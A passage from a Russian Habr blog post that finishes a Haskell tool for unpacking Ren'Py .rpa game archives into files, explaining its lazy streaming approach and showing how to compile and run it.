B.writeFile path bs
ext <- readExtension path
writeExtension path ext
putStrLn $ (show $ n + 1) ++ " files processed..."
doNastyWork rest (n + 1)
confirm :: String -> IO Bool
confirm q = do
putStr q
hFlush stdout
line <- getLine
case head line of
'y' -> return True
'n' -> return False
_ -> confirm q
usage :: IO ()
usage = putStrLn "Usage: extractrpa [ARCHIVE] [OUTPUT FOLDER]"
```
Что же здесь? Функция `main` просто проверяет количество аргументов, и если их два, то делегирует грязную работу ~~(тоже не шибко чистой)~~ функции `extractToFolder`, в противном случае посылает нас ~~курить мануал~~ читать `usage`.
В `extractToFolder` творится примерно то же самое: проверка корректности ввода (защита от дурака), и если папка, в которую надо выводить, не существует или пользователь дал согласие на уничтожение ее содержимого, обращается за помощью к `extractToFolder'`
В других языках способ обработки данных примерно такой: читаем все данные, после чего разбиваем их на части, после чего каждую записываем в файл и даем расширение. Haskell же предлагает несколько другой подход: обрабатывать данные по мере их поступления. Это возможно благодаря ленивым вычислениям (вот почему я использовал ленивые строки байтов). Такой подход позволяет пользователю лучше видеть процесс обработки, что уже неплохо. `extractToFolder'` — своеобразный конвейер, на котором и происходит обработка архива: читаем файл, разбиваем его на части, пока части не кончатся записываем их в файлы с уникальными именами.
Ну вот и все, набираем в терминале заветные команды:
```
$ ghc --make Main.hs -o extractrpa
...
$ extractrpa archive.rpa archive
...
Done.
```
И наслаждаемся ~~ловко стыренным~~ искусно добытым контентом!
Вопросы, жалобы, предложения — прошу в комментарии! | https://habr.com/ru/post/348320/ | null | ru | null |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.